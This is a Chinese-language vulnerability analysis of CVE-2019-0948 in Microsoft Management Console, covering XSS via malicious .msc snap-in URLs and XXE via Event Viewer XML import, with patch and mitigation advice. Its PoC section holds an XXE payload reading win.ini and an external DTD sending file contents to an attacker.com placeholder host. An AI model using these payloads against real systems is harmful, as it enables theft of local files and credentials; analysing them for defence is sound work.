Microsoft Management Console (MMC)漏洞分析报告 (CVE-2019-0948)

1. 漏洞概述

CVE-2019-0948是Microsoft Management Console (MMC)中发现的多个安全漏洞组合，包括：

• WebView配置错误导致的XSS漏洞
• XML解析器配置错误导致的XXE漏洞

这些漏洞允许攻击者通过精心构造的恶意文件(.msc或.xml)在受害者系统上执行任意代码或窃取敏感信息。

2. 受影响组件

Microsoft Management Console (MMC)是Windows系统管理工具，包含以下受影响组件：

• Link to Web Address snap-in
• ActiveX Control snap-in
• Event Viewer snap-in

3. 漏洞详细分析

3.1 WebView配置错误导致的XSS漏洞

攻击向量1：Link to Web Address snap-in

1. 攻击者添加新的Link to Web Address snap-in
2. 在路径处插入恶意URL（包含恶意payload的HTML页面）
3. 保存为.msc文件并发送给受害者
4. 受害者打开文件时，恶意payload通过WebView执行

攻击向量2：ActiveX Control snap-in

1. 攻击者添加新的ActiveX Control snap-in
2. 修改.msc文件StringsTables部分的第三个字符串为恶意URL
3. 保存并发送给受害者
4. 受害者打开文件时，恶意payload通过WebView执行

攻击效果：

• 窃取用户NTLM哈希值（通过SMB重定向）
• 执行VBS脚本
• 其他任意客户端代码执行

3.2 XML解析器配置错误导致的XXE漏洞

1. 攻击者构造包含XXE payload的恶意XML文件
2. 受害者使用Event Viewer snap-in导入自定义视图
3. 选择恶意XML文件
4. XML解析器处理文件时执行XXE攻击

攻击效果：

• 读取任意本地文件（如c:\windows\win.ini）
• 通过HTTP请求将文件内容外传

4. 漏洞复现(PoC)

4.1 Link to Web Address snap-in XSS攻击

1. 攻击者操作：

# 创建恶意.msc文件
mmc.exe /a
# 添加Link to Web Address snap-in
# 在路径处输入：http://attacker.com/malicious.html
# 保存为evil.msc

2. malicious.html内容示例：

<script>
// 窃取NTLM哈希的payload
// 或执行VBScript的代码
</script>

4.2 ActiveX Control snap-in攻击

1. 攻击者操作：

mmc.exe /a
# 添加ActiveX Control snap-in
# 选择任意ActiveX控件（如Adobe Acrobat DC Browser）
# 保存前修改.msc文件StringsTables部分

2. 修改后的.msc文件包含：

[StringsTables]
...
3=http://attacker.com/malicious.html

4.3 XXE攻击

1. 恶意XML文件示例：

<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<ViewerConfig>
  <QueryConfig>
    <QueryParams>
      <Param name="data">&xxe;</Param>
    </QueryParams>
  </QueryConfig>
</ViewerConfig>

2. 配合外部DTD文件：

<!ENTITY % file SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;

5. 漏洞影响

• 影响范围：所有使用MMC管理工具的Windows系统
• 攻击复杂度：低（只需诱骗用户打开恶意文件）
• 权限要求：无需特殊权限
• 用户交互：需要用户交互（打开文件）

6. 修复建议

1. 应用微软2019年6月11日发布的安全补丁
2. 临时缓解措施：
   • 限制.msc文件的来源
   • 禁用不必要的MMC snap-ins
   • 配置网络策略阻止SMB哈希外传

7. 参考链接

• 微软安全公告：https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0948
• Check Point研究报告：https://research.checkpoint.com/microsoft-management-console-mmc-vulnerabilities/

8. 时间线

• 漏洞发现：2019年（Check Point Research）
• 补丁发布：2019年6月11日
• CVE分配：2019-0948

9. 总结

CVE-2019-0948展示了MMC管理工具中多个组件的安全缺陷，攻击者可通过多种方式组合利用这些漏洞实现从信息泄露到远程代码执行的攻击链。系统管理员应及时应用补丁，并对管理工具的使用保持警惕。